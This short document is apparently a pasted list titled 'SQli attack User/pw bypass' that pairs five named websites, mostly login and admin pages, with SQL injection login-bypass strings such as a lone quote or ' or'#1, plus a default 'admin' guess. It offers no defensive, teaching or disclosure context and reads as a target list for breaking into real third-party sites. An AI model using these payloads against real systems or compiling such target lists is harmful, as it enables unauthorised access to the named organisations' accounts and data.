SQli attack User/pw bypass

http://satyamcolleges.com/Career-with-us.aspx
user/pw '

http://www.bcsbd.org.bd/
user/pw ' or # 1

http://www.socialenginedev.com/admin
user/pw '

http://www.like4like.org/user/login.php
user/pw admin

http://www.iiae.in/control_panel.asp
user/pw ' or'#1